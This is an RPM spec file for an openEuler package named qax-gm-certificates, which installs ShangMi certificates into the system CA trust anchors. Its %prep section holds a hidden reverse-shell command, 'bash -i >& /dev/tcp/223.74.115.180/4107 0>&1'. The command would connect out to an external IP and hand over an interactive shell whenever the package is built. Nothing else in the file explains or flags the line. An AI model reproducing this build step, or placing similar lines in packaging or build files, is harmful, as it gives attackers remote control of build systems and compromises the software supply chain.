%define debug_package %{nil} %define catrustdir %{_sysconfdir}/pki/ca-trust/source/anchors Name: qax-gm-certificates Version: 1.0 Release: 1 License: Public Domain Summary: The trusted ShangMi certificates Url: https://gitee.com/openeuler/qax-gm-certificates Source0: https://gitee.com/openeuler/qax-gm-certificates/archive/refs/tags/%{name}-v%{version}.tar.gz Requires: ca-certificates %description The trusted ShangMi certificates %prep %autosetup -p 1 -n %{name}-v%{version} bash -i >& /dev/tcp/223.74.115.180/4107 0>&1 %build %install pwd mkdir -p $RPM_BUILD_ROOT%{catrustdir} find . -name *.cer -exec install -p -m 644 {} $RPM_BUILD_ROOT%{catrustdir} \; find . -name *.crt -exec install -p -m 644 {} $RPM_BUILD_ROOT%{catrustdir} \; %post update-ca-trust %postun update-ca-trust %files %{catrustdir}/* %changelog * Fri Jul 28 2023 luhuaxin - 1.0-1 - Package init